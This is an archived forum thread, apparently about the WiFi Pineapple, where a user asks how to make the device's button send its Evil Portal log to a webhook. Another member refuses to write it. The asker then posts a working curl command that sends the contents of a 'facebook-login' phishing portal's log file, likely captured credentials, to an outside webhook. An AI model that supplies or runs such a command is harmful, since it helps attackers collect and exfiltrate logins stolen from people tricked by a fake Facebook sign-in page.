focus666 Posted January 24, 2023 Share Posted January 24, 2023 Gday, Simple request, how can I have the physical button on the pineapple post the logfile that the evil portal generates to a webhook? All assistance appreciated. Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24, 2023 Share Posted January 24, 2023 Edit /etc/pineapple/button_script and put anything you want to happen there. Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24, 2023 Share Posted January 24, 2023 Or... of course, use the web UI Link to comment Share on other sites More sharing options...
focus666 Posted January 24, 2023 Author Share Posted January 24, 2023 35 minutes ago, dark_pyrro said: Edit /etc/pineapple/button_script and put anything you want to happen there. Thanks mate, part I am struggling with is the actual code to enter. Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24, 2023 Share Posted January 24, 2023 Well, that's up to you to figure out. My guess is that no one here will spoon feed you exactly how that's going to be solved. Obtaining the log file isn't difficult at all since it's there on the Pineapple. Then, doing the webhook can't be that difficult either and is very likely available just a Google search away. Your chances of getting some kind of help is probably greatly increased if you are more detailed about how you plan to solve it (what webhook do you plan to use, etc.). Link to comment Share on other sites More sharing options...
focus666 Posted January 24, 2023 Author Share Posted January 24, 2023 Thanks for the gatekeeping Pyro, its the command portion to grab the file and post it that's got me stumped as I normally use windows for that portion. Have the webhook portion sorted. Link to comment Share on other sites More sharing options...
dark_pyrro Posted January 24, 2023 Share Posted January 24, 2023 It's pretty basic Linux/Bash scripting. Just write some pseudo code that explains what you want to do, then start to do some searching on how to solve each part using Bash. It's a perfect easy project to start learning some Bash scripting. Link to comment Share on other sites More sharing options...
focus666 Posted January 25, 2023 Author Share Posted January 25, 2023 this seems to work curl -X POST -H "Content-Type: text/plain" --data-urlencode "$(cat /root/portals/facebook-login/.logs)" WEBHOOK goes here Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.